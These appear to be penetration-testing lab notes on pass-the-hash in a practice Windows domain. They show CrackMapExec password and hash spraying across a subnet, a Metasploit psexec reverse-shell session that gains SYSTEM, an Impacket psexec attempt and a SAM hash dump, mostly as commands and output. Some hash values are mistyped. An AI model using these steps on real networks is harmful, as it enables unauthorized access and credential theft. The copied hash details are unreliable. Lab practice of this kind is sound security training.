

PASS THE HASH - CRACKMAPEXEC (1)

****PASS THE HASH ALLOWS US TO PASS THE PASSWORD THAT WE HAVE ON THAT CREDENTIALS OVER THE WHOLE NETWORK IN ORDER TO TRYING TO GET ON MACHINES THAT HAS THE SAME PASSWORD OR HASH. ****

DANGEROUS BECAUSE THERE'RE A LOT OF ADMINS REUSE THE SAME ACCOUNT AND PASSWORD TO SET UP MACHINE.

CRACKMAPEXEC IS A TOOL THAT HELPS US TO DO THAT.

CHECK SMB USER ON OUR LOCAL

```
(trisdooan@kali)~$ sudo crackmapexec smb 10.0.2.0/24
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing MSSQL protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.0.2.12 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.2 445 DESKTOP-NMHMAQ5 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:DESKTOP-NMHMAQ5) (signing:False) (SMBv1:False)
SMB 10.0.2.16 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB 10.0.2.14 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)
(trisdooan@kali)~$
```

THE FIRST WAY:

```
(trisdooan@kali)~$ sudo crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1
SMB 10.0.2.12 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.2 445 DESKTOP-NMHMAQ5 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.16 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB 10.0.2.14 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.12 445 THEPUNISHER [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB 10.0.2.2 445 DESKTOP-NMHMAQ5 [-] MARVEL.local\fcastle:Password1 STATUS_LOGON_FAILURE
SMB 10.0.2.16 445 HYDRA-DC [+] MARVEL.local\fcastle:Password1
SMB 10.0.2.14 445 SPIDERMAN [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
```

**WE CAN NOW
CONTROL 2
COMPUTERS WITH
THE SAME USER**

U CAN PASS THE HASH AROUND THE NETWORK BY:

-U: USER

--LOCAL-AUTH: LOCAL NETWORK

```
(trisdoo@kali)~$ crackmapexec smb 10.0.2.0/24 -u "Frank Castle" -H e22ebf259ebb12b64aeb194044c5e90f --local-auth
SMB 10.0.2.16 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)
SMB 10.0.2.14 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)
SMB 10.0.2.2 445 DESKTOP-NMHMAQ5 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:DESKTOP-NMHMAQ5) (signing:False) (SMBv1:False)
SMB 10.0.2.12 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHER) (signing:False) (SMBv1:False)
SMB 10.0.2.16 445 HYDRA-DC [-] HYDRA-DC\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_LOGON_FAILURE
SMB 10.0.2.14 445 SPIDERMAN [-] SPIDERMAN\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_LOGON_FAILURE
SMB 10.0.2.2 445 DESKTOP-NMHMAQ5 [-] DESKTOP-NMHMAQ5\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_LOGON_FAILURE
SMB 10.0.2.12 445 THEPUNISHER [-] THEPUNISHER\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_LOGON_FAILURE
```

WE HAVE 10.0.2.12 AND 10.0.2.14 HAVE THE SAME LOCAL ADMIN OF FRANK CASTLE = FCASTLE

USE PSEXEC OR MATASPLOIT TO GAIN SHELL

```
msf6 exploit(windows/smb/psexec) > set rhosts 10.0.2.14
rhosts => 10.0.2.14
msf6 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

Name      CurrentSetting Required Description
-----
RHOSTS    10.0.2.14      yes   The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     445            yes   The SMB service port (TCP)
SERVICE_DESCRIPTION      no   Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME     no   The service display name
SERVICE_NAME              no   The service name
SMBDomain  marvel.local    no   The Windows domain to use for authentication
SMBPass    Password1       no   The password for the specified username
SMBSHARE   no              no   The share to connect to, can be an admin share (ADMIN$, C$, ...) or a normal read/write folder share
SMBUser    fcastle         no   The username to authenticate as
```

```

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.14:445 - Connecting to the server...
[*] 10.0.2.14:445 - Authenticating to 10.0.2.14:445[mrvel.local as user 'fcastle'...]
[*] 10.0.2.14:445 - Selecting PowerShell target
[*] 10.0.2.14:445 - Executing the payload...
[+] 10.0.2.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.0.2.14
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.14:57509) at 2022-08-19 21:16:01 -0400

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > hostname
[-] Unknown command: hostname
meterpreter > shell
Process 5256 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
SPIDERMAN

C:\Windows\system32>^X@s$

```

GAIN SHELL BY HASHES

```

$ sudo psexec.py "frank castle":@10.0.2.12 -hashes aad3b435b51404eeaad3b435b51404eea22ebf259ebb12b64aeb194044c5e90f
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.2.12.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share Share
[*] Uploading file gPuTVYFa.exe
[*] Opening SVCManager on 10.0.2.12.....
[-] Error opening SVCManager on 10.0.2.12.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager

```

THE SECOND WAY:

-U: USER

-H: HASH

--LOCAL: OUR LOCAL NETWORK

```

root@kali:~/Downloads# crackmapexec 10.0.3.0/24 -u fcastle -H eb7126ae2c91ed56dcd475c072863269 --local
CME 10.0.3.4:445 HYDRA-DC [*] Windows 6.3 Build 9600 (name:HYDRA-DC) (domain:MARVEL) ^
CME 10.0.3.6:445 SPIDERMAN [*] Windows 10.0 Build 17134 (name:SPIDERMAN) (domain:MARVEL)
CME 10.0.3.7:445 PUNISHER [*] Windows 10.0 Build 17134 (name:PUNISHER) (domain:MARVEL)
CME 10.0.3.4:445 HYDRA-DC [-] HYDRA-DC\fcastle eb7126ae2c91ed56dcd475c072863269 STATUS_LOG
ON_FAILURE
CME 10.0.3.6:445 SPIDERMAN [-] SPIDERMAN\fcastle eb7126ae2c91ed56dcd475c072863269 STATUS_LO
GON_FAILURE
CME 10.0.3.7:445 PUNISHER [+] PUNISHER\fcastle eb7126ae2c91ed56dcd475c072863269 (Pwn3d!)

```

FUTHERMORE

WE CAN ADD --SAM TO DUMP SAM FOLDER/HASHES

SAM FOLDER SAME AS SHADW FILE ON LINUX

```
(trisdan@kali)~$ sudo crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1 --sam
SMB 10.0.2.12 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.22 445 DESKTOP-NMHMAQ5 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.16 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB 10.0.2.14 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.22 445 DESKTOP-NMHMAQ5 [-] MARVEL.local\fcastle>Password1 STATUS_LOGON_FAILURE
SMB 10.0.2.16 445 HYDRA-DC [+] MARVEL.local\fcastle>Password1
SMB 10.0.2.12 445 THEPUNISHER [+] MARVEL.local\fcastle>Password1 (Pwn3d!)
SMB 10.0.2.14 445 SPIDERMAN [+] MARVEL.local\fcastle>Password1 (Pwn3d!)
SMB 10.0.2.12 445 THEPUNISHER [+] Dumping SAM hashes
SMB 10.0.2.14 445 SPIDERMAN [+] Dumping SAM hashes
SMB 10.0.2.12 445 THEPUNISHER Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c00:::
SMB 10.0.2.14 445 SPIDERMAN Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c00:::
SMB 10.0.2.12 445 THEPUNISHER Guest:501:aad3b435b51404eeaad3b435b51404ee:5cfe0d16ae931b73c59d7e0c089c00:::
SMB 10.0.2.14 445 SPIDERMAN Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c00:::
SMB 10.0.2.12 445 THEPUNISHER DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c00:::
SMB 10.0.2.14 445 SPIDERMAN DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c00:::
SMB 10.0.2.12 445 THEPUNISHER WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:078f8968d9718bbefa6a130278973d89:::
SMB 10.0.2.14 445 SPIDERMAN WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:fb4c9084543605fe299269401758eff2:::
SMB 10.0.2.12 445 THEPUNISHER Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:22ebf259ebb12b64aeb194044c5e90f:::
SMB 10.0.2.14 445 SPIDERMAN Franklin Castle:1001:aad3b435b51404eeaad3b435b51404ee:22ebf259ebb12b64aeb194044c5e90f:::
SMB 10.0.2.14 445 SPIDERMAN [+] Added 5 SAM hashes to the database
```